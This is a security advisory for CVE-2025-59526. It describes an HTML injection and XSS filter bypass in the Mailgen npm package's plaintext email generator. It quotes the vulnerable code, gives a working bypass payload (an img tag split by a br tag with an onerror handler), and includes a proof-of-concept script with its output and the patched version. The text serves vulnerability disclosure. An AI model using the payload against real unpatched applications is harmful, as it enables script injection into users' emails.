CVE-2025-59526
MEDIUM5.3EPSS 0.08%Mailgen: HTML injection vulnerability in plaintext e-mails
Description
# HTML Injection and XSS Filter Bypass in Plaintext Emails ### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt). ### Vulnerability Analysis The following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string. ```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, ''); // Decode HTML entities such as © output = he.decode(output); // All done! return output; }; ``` The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email. A valid payload is: `<img<br> src=xyz onerror=alert(1)>`. ### Proof of Concept ```javascript var Mailgen = require('mailgen'); var mailGenerator = new Mailgen({ theme: 'default', product: { name: 'Mailgen', link: 'https://mailgen.js/' } }); var email = { body: { name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; // Generate the plaintext version of the e-mail var emailText = mailGenerator.generatePlaintext(email); // Optionally, preview the generated plaintext e-mail require('fs').writeFileSync('emailText.txt', emailText, 'utf8'); ``` **Resulting output file (`emailText.txt`):** ```html Hi John <img src=xyz onerror=alert(document.body.innerHTML)> Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved. ``` ### Mitigation The vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`. Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.
Affected packages (1)
- npm/mailgenfrom 0, < 2.0.30
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N |